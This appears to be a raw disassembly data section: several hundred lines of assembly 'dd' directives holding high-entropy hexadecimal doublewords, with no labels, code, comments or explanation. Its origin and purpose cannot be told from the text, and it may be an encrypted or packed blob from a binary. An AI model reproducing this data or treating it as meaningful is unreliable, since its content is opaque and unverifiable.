		dd 1A1417A2h, 0BF40EBF8h, 21204961h, 620197Ch, 0F72B82E7h
		dd 209420C1h, 0B3124B31h, 84206DAFh, 62E810F0h,	0B570B264h
		dd 35E8FD45h, 0F03362B9h, 3481A3CFh, 6614914Fh,	56E2DB12h
		dd 0D1B0CB6Ch, 5C7E040h, 79424850h, 78CB201Dh, 44541464h
		dd 5822C530h, 11C64022h, 0C480115Ch, 10896008h,	9A641452h
		dd 2601732h, 33FCA151h,	0F9B09677h, 39D016F2h, 9BF403C1h
		dd 0A3FE7DD9h, 1D267566h, 0F70CCC80h, 316DF74Dh, 97F47DDFh
		dd 0ADA3FE0Ch, 2E5FDE48h, 88204930h, 0C0CA62E8h, 0BE9C421Fh
		dd 0C0C8CF17h, 21E8EEDCh, 0EF7CB116h, 0AB1BA11h, 7FB0B884h
		dd 0F8BFF711h, 0F7BF47D7h, 0B1428878h, 89514F7Eh, 0C3847F9Eh
		dd 64FC83D1h, 232A1DE9h, 0A3CA0339h, 6BCF2BD6h,	63C9845Dh
		dd 8616A085h, 9D61AC13h, 94C208C2h, 59580640h, 34240487h
		dd 57FA1085h, 669D3014h, 404EB6AAh, 4203ECFCh, 4CBF6AE0h
		dd 302EFB97h, 1A7BA86h,	815711A2h, 0FDE1837Dh, 32A19807h
		dd 0F87C8F20h, 1DFA9DA3h, 84111675h, 46608590h,	0ECBDB7FCh
		dd 0E812D75Fh, 0BD64ACBDh, 208B0574h, 69917689h, 10D230F6h
		dd 0A41C48F4h, 3442F887h, 0BB815028h, 93182D4Ah, 0F1CCA109h
		dd 4C28A79h, 2A18F170h,	0B4D3A0F2h, 0CEA205FAh,	0F41731F1h
		dd 83ABC89h, 0F3C81451h, 0E02FEC51h, 9482FFDDh,	0CB185A62h
		dd 0D32E1492h, 28CA7720h, 96CF1DECh, 9AD30F8h, 742E4ADDh
		dd 0AA15E6B5h, 855E4B28h, 971AE276h, 0C67FCB30h, 0E899E5A6h
		dd 0EB10FBA5h, 0ECC9A5Ch, 61029DCh, 341810B0h, 22FFA1E0h
		dd 925D1C2Fh, 0EC1DA4A0h, 0E696C9FDh, 47B2D540h, 1CDC22EBh
		dd 0CAF46589h, 51DCF86Dh, 5B3807D8h, 0CCCC442Fh, 8A11BDBFh
		dd 0D4AE8710h, 0EF9A458Dh, 9E11AA4Fh, 7D82FF39h, 91FD33E2h
		dd 283ACC81h, 82991748h, 0D810EA6Ah, 7E53B9B5h,	0CC441491h
		dd 49806DBAh, 24B44D10h, 0EEBE662Bh, 0C051110h,	122442C7h
		dd 0D79AFC7Ah, 16FF14BEh, 0EB114C8h, 38261042h,	0CA4F174Ch
		dd 0B81A6959h, 84C54E8Ah, 0C427206Eh, 16FB2479h, 7DB8B3D9h
		dd 13EEA483h, 0C10934C8h, 0EF206B40h, 59AB18B2h, 5112409Fh
		dd 0E05A36FFh, 7025107Ch, 41614B0Ch, 22E969Ch, 3B7CDEBEh
		dd 0A4EF0D7h, 0D248E805h, 4EFC43C6h, 8D103207h,	431B614h
		dd 0BB413B90h, 0A90057Eh, 0B214008h, 0FB7EADA4h, 118960CDh
		dd 0F9DC06A5h, 92DFC814h, 1807CBF9h, 20318946h,	0C783B3Ah
		dd 9804773Ah, 0FE9476F7h, 0C4658BD1h, 8C19B686h, 1623810Ah
		dd 0EA019029h, 20D6CE20h, 7486808h, 13A8424Eh, 9A45E85h
		dd 443A5DBEh, 73E0445Fh, 2D064841h, 790F74A1h, 86C54AEEh
		dd 0B802AD05h, 0A4C3AEA4h, 2826D4CBh, 68FE6A0Eh, 0FF648398h
		dd 4FB84C96h, 356A62E6h, 8580A2Eh, 1CBAA2E9h, 0FF3B2E74h
		dd 2E28ECF1h, 6DC348Dh,	0B489B30Ch, 30430CBFh, 3060F57Ch
		dd 68121C75h, 0F92E6801h, 6F40FC98h, 12C154FFh,	8F64C3EBh
		dd 0EF95857Fh, 85AB7175h, 0DFA08CEh, 4798141h, 10756941h
		dd 52CD9725h, 0AA2139CDh, 9C343444h, 0BBC98B1Eh, 8A57FECh
		dd 8809340Ah, 6C74B59h,	6B600443h, 0B15B590Ch, 85F6A798h
		dd 2204F327h, 0A60C579Bh, 166C6676h, 502F098Dh,	4150BDC3h
		dd 0E420988h, 4208A0C2h
		dd 0EF099810h, 8A11C0Ch, 0DC299BB0h, 2FD88709h,	0BB4D5017h
		dd 6BAE5078h, 0C850C74Dh, 0F7F6640h, 64096C64h,	54915C48h
		dd 44444C22h, 50F18A3Ch, 0E1DBB55Dh, 0A0F10850h, 91AC09C8h
		dd 506A5EC0h, 420B20B0h, 0AD00F85h, 2128A871h, 2D20420Ah
		dd 19389033h, 80092258h, 0D7D450BCh, 0E6508B55h, 7F50BCA9h
		dd 0D4955C21h, 9DC3280h, 48EC24E4h, 33FC91F4h, 5E173F04h
		dd 0E5502B08h, 32302063h, 4809380Dh, 8E575C24h,	8E3EB950h
		dd 71882DD0h, 26E78858h, 0CFBA5F69h, 51ADA374h,	3BF4EB1Ah
		dd 2D1B56A5h, 385672D8h, 7402821Ah, 0E5033127h,	1A997F1Eh
		dd 0A0E52FC9h, 22C4647Ch, 0F204ED1Ah, 0EC6655A8h, 362C196h
		dd 0F350FABEh, 2721FDB9h, 0DC2076A5h, 2A6F6697h, 9732B261h
		dd 1053B0F9h, 64DDB798h, 58BBA1E4h, 0C22A4EE0h,	678CB086h
		dd 6A2B1FF0h, 61C12715h, 6173CC3Bh, 0A9686A38h,	4B19CACh
		dd 1840158Bh, 55FDE852h, 0C0CC2DC1h, 3F505310h,	89B6BB10h
		dd 0E85ADE14h, 0BB6A1A9Fh, 45140C76h, 0F9C1E051h, 82CCAA02h
		dd 89A38AC0h, 0AA127D14h, 78761709h, 2101D96Bh,	0BAF3372Eh
		dd 24E88D09h, 0D933A58Dh, 0DD187A00h, 4A84FF34h, 7822AB04h
		dd 43307B48h, 286B668h,	0FABFBA8Eh, 27E81471h, 10142DB1h
		dd 0ECD2DCA3h, 0A75C0F5h, 24E8186Ah, 684A150Fh,	765E6BCAh
		dd 846898C8h, 5008AACDh, 3A3DE581h, 5E52AC5Fh, 0AA9964EEh
		dd 8014E119h, 0FAD40914h, 0F6DB32h, 0E01AA10Bh,	5BD03B69h
		dd 0F8B0E075h, 0D26B86BCh, 181528C4h, 0A4CA5F16h, 2554F662h
		dd 0D80C915h, 0C1398416h, 0F280E475h, 408C1238h, 9187F026h
		dd 0A1CC9D10h, 9D891308h, 1928A975h, 30C58D86h,	458817A2h
		dd 2C30917Ch, 6BD8314h,	34742979h, 75020609h, 0CA46C01Fh
		dd 123F0B5Bh, 0C42EC54h, 0F743ABC7h, 0C8BD566h,	1023D84h
		dd 0A30AA58Bh, 518B7011h, 9E82090Bh, 154AF492h,	7C2D0914h
		dd 0AED3208Ah, 91C50C3h, 702EA295h, 0F7E85A35h,	0BEE62B36h
		dd 844F722Dh, 213BDE7Dh, 0DC2CDE44h, 0BAE8178Eh, 3CA889CAh
		dd 1995A7Dh, 5C26AA2Fh,	3E7AEB11h, 53561260h, 155AD1D6h
		dd 82B0058Dh, 4763A55Fh, 39B8AA4Bh, 2EDAC25Ah, 61460E5Fh
		dd 0C4384727h, 1C2CF2E8h, 421A3C41h, 20E180C9h,	0EC04E1E1h
		dd 0FA7E086h, 7E45D8A5h, 1CC004D2h, 0C1BE0FFFh,	0DCF078A9h
		dd 38638805h, 70843D91h, 47F2C0Dh, 15EB0C95h, 0F6840D28h
		dd 0FBE81013h, 4C71622h, 88FF5E8Ch, 9064DB33h, 1F2227D1h
		dd 500BD804h, 0DBB84D7h, 3D86E2EFh, 4C7D3D04h, 0C338C152h
		dd 9931DA74h, 9547D8E5h, 0FD0B5832h, 6A4F3208h,	4AA33167h
		dd 2F3D7623h, 0B3C844C3h, 14DD4960h, 216579E9h,	0E88CDB8h
		dd 0C1987416h, 6C14062Fh, 72E2B6C8h, 5773A809h,	0C88FC17h
		dd 0EC144E53h, 700EE9D8h, 68CC212Fh, 77D192EEh,	159B8473h
		dd 0BFD3342Ah, 3B32DDAFh, 1289CAA2h, 1F463576h,	58C3BD0Dh
		dd 40DB0D58h, 8941E0DAh, 8A164730h, 0B1CF4EDDh,	9676A7FFh
		dd 73BCEF12h, 2F2E689Eh, 8AC41B75h, 83D5C423h, 89D0030Ch
		dd 0C2A10A4Ah, 304A997Eh, 1E5229DBh, 203C451Bh,	33E18026h
		dd 84D55AC0h, 5283E9B0h, 891E89E1h, 34EB4A4Ah, 0E001C511h
		dd 9EAC2704h, 854E0FAh,	3BAC1A9Ch, 988404E0h, 0C755C2EBh
		dd 4A7D1840h, 0ACC55FB0h, 0A11679B6h, 0BC09D3B0h, 4AFFAE70h
		dd 9756BEEBh, 10F318DDh, 0DC8640Bh, 21CA860Ch, 0E12875B0h
		dd 536AAEC2h, 1E20DD0Ch, 14E864FCh, 3C0A0352h, 5BD319E1h
		dd 0CB6BCC37h, 1253C440h, 129CC42Eh, 0F928232Fh, 0BDF20EECh
		dd 0A808471Eh, 6F5251F8h, 0E9E3BE17h, 6AAF8DFFh, 134C440h
		dd 1A8ACA38h, 85B40ACh,	206C8601h, 4A23B4E7h, 0CB80ED1Ch
		dd 790C5E10h, 0B7D7C601h, 0D5F4626Fh, 88FF431Eh, 72955C20h
		dd 4DC5B5F3h, 3B8F266Bh, 0F6735AA8h, 9368F383h,	54E7585Eh
		dd 512DE34Fh, 10E923F4h, 88E691Bh, 7A5EF86Bh, 8A2F3BF1h
		dd 2EC1451Dh, 79DBABC9h, 0A7794CB7h, 59BC7E24h,	56D609D8h
		dd 0B906F53h, 5E39E9E4h, 0AE8C738Ah, 8A6CB078h,	0FFE43AD7h
		dd 0E8049BF3h, 28AE85ADh, 8FAA31A0h, 25412D6Ch,	92029434h
		dd 0E81B0BFAh, 0B411862Ch, 31B5170Dh, 0A3940B57h, 61CF39ABh
		dd 18DA242Ch, 3BE9C4BAh, 5419C0D6h, 99F1BF10h, 110C98FAh
		dd 414FEBD3h, 0C85C93F0h, 14205435h, 3AE9D139h,	0EA3BDBh
		dd 75C90BD8h, 2CF3F7F4h, 0B31EF08Bh, 353FC874h,	3E60114h
		dd 3B0E72D1h, 877518Fh,	5918070Fh, 4E6B0176h, 0E109559Ah
		dd 535134B4h, 146F0D2Bh, 266F5351h, 0C2620C5Dh,	0A450EB18h
		dd 0C48106Fh, 0C8F20891h, 29911423h, 916C100Bh,	0B38B780Ch
		dd 0A62BC276h, 6F241BBCh, 40D11114h, 0EFB0DABEh, 67E18374h
		dd 5D81D2B1h, 8458FF33h, 0A447E87Dh, 544CD9D6h,	8983D383h
		dd 0E5AC2974h, 211C1C56h, 541CC418h, 9088A727h,	3B10B214h
		dd 541A49E5h, 0EBD14530h, 0B8A6D9E4h, 91F1DB44h, 0C81C9027h
		dd 1C145918h, 4F588E10h, 85B342EBh, 0B5535F5Eh,	6A303DBAh
		dd 0B813668Ah, 47DCD234h, 0F05830E6h, 0E26F9DBDh, 0B731CCB2h
		dd 74342C44h, 20BE2724h, 177C6116h, 7A30DC83h, 41C10C7Fh
		dd 0E004028Ah, 1883B83h, 7F2DC9EBh, 92D9D6E9h, 87B5D468h
		dd 0E254644Bh, 1E74851Eh, 0A5E81437h, 1BDDCD02h, 28F3FF1Ah
		dd 8D9CD225h, 0BC651389h, 530C8CB1h, 141C4354h,	0B4400BEBh
		dd 0EC3E22EFh, 0B837AC13h, 2534463Fh, 0D9B3427h, 0A54C18A6h
		dd 81FCF017h, 41810DA6h, 0C280118Ah, 883D82E0h,	91C8EB10h
		dd 0DD8BB7A7h, 0D4D4016Ah, 52A4FFC4h, 45E89468h, 52812015h
		dd 0D54E0DE8h, 9E68F7DDh, 5CEB0280h, 6825626Ah,	51EA92C0h
		dd 0A70D096Ch, 0CA6E9EDFh, 274D3C41h, 0E5B09666h, 5B50A3D3h
		dd 490D8851h, 0D4BCCF82h, 0A22B2011h, 1B1025BCh, 0E8440B09h
		dd 17C6DE76h, 6608EE85h, 0E5D25C1Bh, 3B2F4DE9h,	0DCD3961Ah
		dd 7E49C0A6h, 6416E420h, 58D6511Fh, 0FC12A7A6h,	0D5A710EBh
		dd 0CA66F34Bh, 54272525h, 2D076EDh, 0FB13F250h,	57F80A09h
		dd 7D15E44Dh, 7887A12Bh, 400AAD20h, 0B8910221h,	448F02E8h
		dd 3D783204h, 0EE5463Ah, 0C4118010h, 386E5735h,	8AC4380h
		dd 8D56E286h, 10E8F1EFh, 40A85686h, 0D0BD10E2h,	8863071Dh
		dd 21DC5665h, 0C87E0107h, 155157A0h, 7757C81Bh,	0C5A11710h
		dd 17891B55h, 20C4809Dh, 1B557831h, 125620C8h, 24087D81h
		dd 0AF8FF5D3h, 27F09B28h, 0D97F4Eh, 328B08E5h, 2A5513C4h
		dd 0F0333D6h, 5F080C04h, 32A60974h, 0A15CEB25h,	73607CEBh
		dd 0F1B2C152h, 0B40A54B3h, 9592602Bh, 6987C7D3h, 0C1A7F87Ch
		dd 0D16BF269h, 3AD70B27h, 3274FB02h, 5C288BA9h,	3A0E0019h
		dd 4652750Fh, 0B748473Dh, 17D1161Dh, 45F5D138h,	0F7014EE0h
		dd 1593C621h, 3B21E53Bh, 0DEE8270Eh, 7EBE3D6h, 0D5C88BAFh
		dd 3620EEE0h, 0BCA7F32Bh, 394E1003h, 104DE757h,	0C46F547h
		dd 0EACDEF2Eh, 21D20EBh, 5091B870h, 91C65F97h, 0C4FDC36Ah
		dd 0F90168Bh, 7533CA38h, 0BB18C8E7h, 9E0BBEEh, 0E181110Eh
		dd 28BBBA5Eh, 3B6506E2h, 9E1CD6Ah, 2E20396Eh, 0BC0584B1h
		dd 0DE73E03Dh, 8141A20h, 82F17C41h, 91097F5Ah, 0C4DA8926h
		dd 68EB2563h, 0A3673A95h, 3C75E998h, 9614B64Ch,	0A376AE37h
		dd 0E653A2A6h, 16142152h, 7C205C72h, 0A22088BDh, 861A1D51h
		dd 92C7FBE9h, 0FBBBE169h
		dd 311E3E25h, 0C72F8084h, 444B7152h, 25F95314h,	7B4EB5A4h
		dd 47753B4Ah, 5BCB496h,	0E9FAC1C7h, 5569D4F6h, 0D4252917h
		dd 3822C5A0h, 4BB58827h, 676EFF25h, 0FA65C6F9h,	2225FBDh
		dd 8A11EB1Ah, 908C7DF8h, 27E1F926h, 0D9214A16h,	257E8D03h
		dd 0E186AF7Ch, 10DD9438h, 0CE30E101h, 7A05241Bh, 5F172646h
		dd 0F4F24501h, 0EB690525h, 90A6416h, 0CC7CF5D9h, 863C167h
		dd 0E5E4A70Bh, 2FF06DFAh, 0B30568DDh, 896B68F5h, 8870FAF2h
		dd 0E95AEBEEh, 0D11661E3h, 0F9A3C5F8h, 0C8BFDCB4h, 0C439AEDFh
		dd 3CFAE4C3h, 0B995307Ah, 0E722F8B2h, 3A142DC4h, 0C06DF825h
		dd 0E490562Dh, 30CAAFFCh, 104A0D20h, 8AC10A8Ch,	0D8C4B155h
		dd 0CCF25518h, 6C2218Ch, 0F3D015Ah, 79FE3F84h, 0EA4965B1h
		dd 10C4F95Ch, 99AD3973h, 2766F673h, 0B607B60Fh,	1897208h
		dd 9AFD1092h, 8A647D70h, 479D9098h, 0B6712F11h,	0BF8A0210h
		dd 903B101Ch, 0A6A0D7EAh, 5277CEFFh, 0C8A109C3h, 57B5C34Fh
		dd 0B8A7F3C6h, 500FB35Bh, 3BF1E958h, 0E12774FFh, 490E2BE7h
		dd 2A88B097h, 73AEEDE5h, 955BF0E1h, 0BF0907A4h,	2937ADE7h
		dd 18EA8D3Fh, 9A640CA4h, 0B1753333h, 0BB072803h, 62FAE2DEh
		dd 0F88C46DEh, 0B41A574h, 0D574B4EBh, 0F4D9AE4Dh, 5F6EA76Bh
		dd 0B31251CDh, 5CAC1701h, 79FAE805h, 55EB9D3Ch,	4ED5C353h
		dd 0E8B3F22h, 874F427Ch, 2818FF9Bh, 65375AC5h, 64006A95h
		dd 66CAD9Bh, 67251093h,	0F07CA584h, 1FCDE862h, 327CA491h
		dd 94AEE865h, 92BEA324h, 581A19Fh, 3308E8C1h, 0C4A31AF5h
		dd 29455F1Ah, 897C1120h, 1512C050h, 0E2C106A0h,	0D003083Ch
		dd 0BCFE8921h, 742539A5h, 0A84B68FEh, 4E3DFC02h, 0CF7AED4Dh
		dd 0C51CCF0Ah, 0E5E010Fh, 1C6C670Eh, 0C182132Ah, 0B4D5C609h
		dd 0D95D2094h, 8908D81h, 204A41E4h, 99CAD7D0h, 18BDFA20h
		dd 0BE3FD213h, 890BC6D0h, 60DEC4C6h, 13D326A1h,	8CC3E0A4h
		dd 4BE3E888h, 9C4449CFh, 512D27F4h, 2D41A503h, 968B4DD4h
		dd 3F27942Ah, 4D230A54h, 9C9C92E4h, 0DDA5590Ah,	0DEE87118h
		dd 0E6FDF13Dh, 0E75EA048h, 0B76E189Bh, 0C5EC482Ch, 989BC1A6h
		dd 0B05D7715h, 0CD672169h, 0AFC3080Fh, 984E7965h, 571A6702h
		dd 0F44B6767h, 4B284510h, 0B9F001B1h, 0B1DC5F25h, 11E6A6FDh
		dd 0BEA96E04h, 1909F06Eh, 0FEB229F7h, 0C43023CCh, 8D76282Fh
		dd 9DC972AFh, 62CB801Eh, 58351E0h, 5605C70Ch, 0EBFE4509h
		dd 14152013h, 0F38C0A7Dh, 8368758Ah, 0B3F41605h, 0A1040B83h
		dd 907059E0h, 0D4A3C29Fh, 0ED7CE43Ah, 3F7522DAh, 86463496h
		dd 1841FB94h, 0A5869220h, 9BE6A35h, 6257E81Ah, 98BE9CD0h
		dd 0CE5B559h, 8B209FA4h, 0E8F194Dh, 2A05E0C1h, 49A7F008h
		dd 39401553h, 258A0489h, 0D476D8EBh, 44037374h,	0F928C14Ah
		dd 0E2074605h, 24D26B1Fh, 808D04F0h, 3CE5C037h,	1C74FF10h
		dd 0A8E91CA7h, 0E1011C08h, 1881C705h, 3FFD598h,	10B4A7EBh
		dd 6BD8E870h, 7A05D60Bh, 0B952FB05h, 6704BDC5h,	5014DD28h
		dd 8C7A1F4h, 226272A2h,	51B6813h, 54B85E77h, 0C10B132Dh
		dd 105D05F8h, 840E37FFh, 0D5F9198h, 202620F2h, 53A88B73h
		dd 886BE059h, 0F225EC06h, 0B2C89B5h, 0E80C230Eh, 67905F70h
		dd 648DA4ACh, 0A4232B3Bh, 429824ECh, 71AAD354h,	9D067CB0h
		dd 0FDA5030Dh, 163E8FA6h, 352B76B5h, 855505A5h,	0EB92458Ch
		dd 0E14D042Ch, 1408A1F8h, 0C3C6AF21h, 4B954237h, 495D87B3h
		dd 208D141Ah, 68C56575h, 6F07D960h, 0EB1978B2h,	0AFAC563h
		dd 51149821h, 0C866846h, 0C672F24h, 6AE27547h, 9CAB84F5h
		dd 2642375Ah, 27EB1B23h, 47FB3522h, 435522F4h, 4D0D2895h
		dd 0A3E579B8h, 804887A0h, 3AD0A141h, 6930CB2Fh,	0E03E7F18h
		dd 12CB827h, 0C963E839h, 0C6579841h, 7096F93Ah,	35BB97Bh
		dd 0BD8D44D0h, 0B87AFDF9h, 0DF33D932h, 0B8857E1Bh, 147F023h
		dd 4560EFE8h, 0FC85891Ch, 4FFFEF7Eh, 7F9679FEh,	5E55159Bh
		dd 2275AC1Dh, 886828A0h, 0C9FA96AEh, 4B45F055h,	30ED888Dh
		dd 68420486h, 0BB43CEC8h, 96623CF3h, 0BD25CFF4h, 7403061Ch
		dd 14BC6820h, 0E8D8B35h, 91DF5125h, 69A3A34Fh, 5D68A23Ah
		dd 0DD4F07ADh, 61CCB31Ah, 0DFF8898Dh, 0C42B110Dh, 4295FD10h
		dd 0A0025210h, 0E4880854h, 20125384h, 4240ADB8h, 90F58A6Bh
		dd 0A68B37CEh, 3AC4BDCAh, 0FED6810h, 40F67668h,	0D26EE852h
		dd 0A5B5D9BDh, 5C68C0E0h, 0E9A63A2h, 0F2B68541h, 0E7C8C05Ch
		dd 4332750Ah, 0D829E1ADh, 1448AE53h, 0C0AEB4Bh,	6FC4348Ah
		dd 778B9150h, 0A47EE888h, 0EF478638h, 5168BE2h,	4E2C786Eh
		dd 0C97B9939h, 74F391D7h, 9130F29Ah, 184D2B31h,	292C6868h
		dd 6539C555h, 0E009BB3Fh, 7846DD42h, 68B838B5h,	6753DD20h
		dd 9AC31475h, 0BBC44AB0h, 0D3293834h, 2AE83658h, 2946CDE3h
		dd 0A35716EBh, 18CB1430h, 0D0117B94h, 3B741A3Ah, 512BA461h
		dd 343E5D9Dh, 0AE1B134Bh, 991C0432h, 6E230BC5h,	30405BD4h
		dd 6853B6E9h, 0C94626DBh, 3E6BB346h, 1AD0097Dh,	31F0C0D0h
		dd 0F08BA86Ah, 45BA5CFh, 0A293A1E8h, 8A502B6Dh,	527141A6h
		dd 9BECE82Ah, 8AE89E7Dh, 23A2DF4Fh, 0F14D0D74h,	4C41EA1h
		dd 81796E4Bh, 0A6A1D06h, 0CFDC294Ch, 0E6E0A7BAh, 358CD8EEh
		dd 5127D485h, 274B08B8h, 0A2121969h, 8AB3C6D7h,	6486D115h
		dd 4214333Ah, 0EF43D868h, 5F13EBF1h, 2F3D4C19h,	0B810305Fh
		dd 90115938h, 3EC5D314h, 75023A48h, 0D01C6825h,	0DA4256F4h
		dd 0C8102701h, 13AB7D69h, 0C02E567Bh, 5B7FFB1Fh, 5DCF8122h
		dd 824A49DCh, 0EB4BFE11h, 31A84E99h, 46B3A2CAh,	13FE4210h
		dd 6574CC19h, 0CAF90F16h, 0FF9254C5h, 7640CF60h, 99E4B729h
		dd 5A114352h, 0C0CB01A8h, 36A94A1h, 43706068h, 0C65318BDh
		dd 0A719B7BAh, 0CE7454Dh, 0BD19EE94h, 0E9DD06A2h, 9469515h
		dd 4F05527Ch, 20F3358Ah, 0F16AC514h, 51522491h,	2D455532h
		dd 260C5819h, 0A65BA46Bh, 62359A20h, 0CF802BECh, 0C8135CCh
		dd 87D4147Ch, 0BC8D7ECh, 5168483Dh, 0E29C59A6h,	12561FBCh
		dd 47E42245h, 11857C6Ch, 0DA595A45h, 6812E041h,	0EE74E43Bh
		dd 0A640948Ah, 0F161A6DCh, 6F641B4Eh, 0EF6048D8h, 110CB290h
		dd 23343245h, 0CC1BA1EEh, 5889D06Fh, 0AE14F21Dh, 1E0E4941h
		dd 0CC295694h, 2156BC3Dh, 12C881D9h, 75E43B4Ch,	4EEC7808h
		dd 500533F2h, 64E48A22h, 62E02A51h, 18D831DCh, 0D0468CD4h
		dd 0C810CC23h, 474DDCD4h, 0B49A4C8h, 211D1C36h,	0A13AEEF4h
		dd 0F13C10BFh, 0C608EEF4h, 6806C943h, 62012012h, 0C47CD45Ch
		dd 2D21EEF4h, 7F4167DEh, 0BF26FE4Ah, 7503040Dh,	0C2166A11h
		dd 0A771DB70h, 2AF47E3Dh, 7E1ABC56h, 0FE077525h, 0F074520Bh
		dd 3BAB687Ah, 81804A05h, 542273C0h, 76F5E29Eh, 3DC9A88Dh
		dd 0C85B104Ch, 1B0B758Ch, 0E96DAAE8h, 0B5170903h, 2F0B5CAFh
		dd 632A0EB1h, 0E36B129Fh, 0CFD06CE9h, 0BB5C1F2Fh, 8BA7565Ah
		dd 2CF3E3E0h, 56518068h, 0E1B22D51h, 9CA47F0Dh,	0BF599A3Dh
		dd 5F467962h, 0D60A1A5Eh, 8B421B97h, 0AD9ACBF0h, 0E13B0C23h
		dd 55521774h, 0D510927Bh, 79AFC179h, 0EDB2A779h, 860A94F7h
		dd 0E0722199h, 41F7C349h, 0E202D077h, 851402C9h, 2F44C610h
		dd 28D3040Ah, 254281A6h, 281EFD6Ch, 0D7B05E56h,	30A3FFF2h
		dd 0CD034C9h, 0BF509D0Fh, 0D0E871BDh, 834AE281h, 0D77E16A3h
		dd 7605F2FFh, 66A74089h
		dd 0FD22C579h, 669BD52Dh, 2F2E8666h, 0BA5EFBF7h, 25CC5067h
		dd 0BD014AC7h, 29FE96BBh, 7E14ADFCh, 0E159277Fh, 0A6107BDAh
		dd 25992097h, 465FE8h, 61989AA2h, 72BBF581h, 254836AAh
		dd 1C22E59Ah, 0D71B92D6h, 3D6890E7h, 0CE2F449Ch, 45A29EDFh
		dd 0C1AA2927h, 15D84C40h, 0B2106286h, 0FE1AE22Ch, 2F3AA99Eh
		dd 0CD940D1h, 0D6B9B26Ah, 975D36EFh, 754EEA97h,	77ADDC1h
		dd 17B235E8h, 2F18F321h, 30B8516Ah, 482B0A06h, 0C9B3085Eh
		dd 567E2270h, 4285255h,	0E41F17CAh, 0B943C430h,	0F4453B03h
		dd 0A34A2175h, 0EBD28AA3h, 19F85509h, 5BA5FD74h, 16538A52h
		dd 20C91111h, 2B29BA97h, 0D09A8B19h, 63B21710h,	497A70D1h
		dd 5DC20691h, 0D021C047h, 2445F3C9h, 0EF759C0Ah, 78BC684Eh
		dd 0E5DF30EFh, 0E5BC4752h, 44C40F45h, 0A18D32FFh, 3C0CE5F9h
		dd 42842490h, 0C6426BCDh, 3405F3B9h, 0C93A8C09h, 2FB03ACAh
		dd 900CC15Bh, 502FA55h,	0DEF3EDE8h, 0D6ACC9Eh, 81142586h
		dd 67C4F571h, 753F4714h, 0F8925353h, 4D0A5940h,	65ACD768h
		dd 333CEBB1h, 61362935h, 0FB516B6Fh, 5E211475h,	0EA2BE6E6h
		dd 751640FDh, 3A592DA5h, 1B6C210Bh, 98ACC5CAh, 3D04E935h
		dd 0F1055FEh, 0EBD28F90h, 68FA9952h, 439D5120h,	1801F224h
		dd 345E38A1h, 0C064A2Dh, 5ACA4637h, 4BDA84B2h, 32DAA054h
		dd 69C06636h, 8FFD790Eh, 2DBBB75Fh, 9DCD3B47h, 0D0387AAFh
		dd 1B25F4A1h, 0A4DAE945h, 0E4B70C14h, 0A28E511Bh, 0A0DE7125h
		dd 0B4A1290Dh, 70CF4B26h, 474E4725h, 544D3430h,	0B08D1AC8h
		dd 3E870671h, 67117627h, 0C40D0D38h, 88094F32h,	25D5AC2Ch
		dd 5AD1B5Ch, 5D27B060h,	68EC5375h, 5A11AFD3h, 0CC5E5038h
		dd 732975Bh, 148742A4h,	0A2A68523h, 0ACF4EC0Dh,	1CF6FBA6h
		dd 50961982h, 8868D79Eh, 68717560h, 9706BEE1h, 26A13740h
		dd 8B5FC018h, 0F2D2E7EDh, 6A0A01D2h, 0EFB9E811h, 1567D123h
		dd 22949BBFh, 7512C885h, 0FC7A09FEh, 0BFD4123Bh, 0AA0C4A8Ch
		dd 0B7C5D5Ah, 0E5C81327h, 707DB166h, 0EE619421h, 0A6922474h
		dd 0A9404C8Ch, 9A4A210Fh, 0E470583Dh, 0D2A85DF4h, 8092E6E9h
		dd 30324356h, 0A5CFE958h, 514429AEh, 890C5D4Bh,	0FE40F75Fh
		dd 850F4121h, 0B38D6B82h, 1BE126A1h, 43E3128Dh,	27734420h
		dd 0FEF2087Bh, 3C8D613Dh, 8F7C1276h, 450F38E8h,	6B815556h
		dd 8C54FF10h, 855E5D18h, 182AB00Bh, 4D3C7833h, 6D24E853h
		dd 3D6C02D3h, 0A21AC856h, 0B56F0866h, 0D8DC6809h, 0D425E804h
		dd 0CE04ECD3h, 790C6FACh, 1B7B94FEh, 13347A76h,	32B8A1EBh
		dd 5E711C10h, 195D1594h, 6280FF6Ah, 17AB5D18h, 1CAAFB5h
		dd 76244C19h, 1C41EC29h, 18085065h, 9A3D2A82h, 0B689D525h
		dd 0F9BDD016h, 370D64C4h, 0E0EC7298h, 0DA76E026h, 0A0B4545h
		dd 64C07E77h, 92D2A243h, 7BF869ABh, 23DF64F2h, 0FF5CCA9Eh
		dd 0CABB4563h, 8EAD7E0h, 0B5DED000h, 0CFBC0253h, 16CC3823h
		dd 44477719h, 0E8FD82A8h, 6B45F49Ch, 9475127Fh,	0CA24CAAFh
		dd 0F54B2EF4h, 2E750812h, 0BEE9C644h, 0B58EEA37h, 0CE6AF551h
		dd 30B78116h, 0B0440E2Dh, 1A8F0F5Ch, 131289F0h,	5910F2DFh
		dd 9CFEB13Eh, 331F63Ch,	1701230Bh, 827D10C1h, 0AC2C7D11h
		dd 5118D72h, 0CF3FEB1Ah, 118647D5h, 2BEB1618h, 0E71B36AEh
		dd 83285786h, 0E14188C1h, 522D12A1h, 0BC5EA376h, 0E974B470h
		dd 6048A500h, 0E042D460h, 0DF42B151h, 0CCE90107h, 880D2201h
		dd 0ECAB1303h, 0FC1CC4CBh, 0FA52669Bh, 0D20A7911h, 307732BBh
		dd 0BEE3EC7Fh, 0D3B0931h, 6F1E9E19h, 2692CA9Dh,	2A1304E0h
		dd 5DB6FA19h, 0D1710625h, 58701A29h, 9E3185FCh,	40333175h
		dd 1ADA0155h, 0F88A2DDh, 5B004324h, 89BDB210h, 45041410h
		dd 0E96A50ACh, 0C5910111h, 3834D1E4h, 0BB824D43h, 24DBCE44h
		dd 0D1B8FB4Bh, 0A7C77F8Dh, 0B0D4694Fh, 0BD29C0FDh, 0E49D79CEh
		dd 0D950520Ch, 15125588h, 0A125F832h, 4E8C18Fh,	8BD85D95h
		dd 7FF1746Fh, 3630FA28h, 20E01053h, 0B5E4E64Dh,	0E8B4D2AEh
		dd 0F0B0D033h, 0CFCE3C13h, 0EBFC3199h, 62F9A570h, 0D614FB5Fh
		dd 0E1FA11DEh, 3356EBACh, 6A29B5D1h, 465C68ADh,	4A351A52h
		dd 0E9204761h, 6A781024h, 0FCF9C82Dh, 888C81B4h, 0B011B711h
		dd 0E9A758D8h, 5B934273h, 0C5881396h, 84C3FF51h, 29394F52h
		dd 0DDD9F250h, 0DC5D4544h, 5A029211h, 0D595870Fh, 0D22623C6h
		dd 74564AF9h, 71A68E2Fh, 38127D97h, 72B24745h, 999CF58Ah
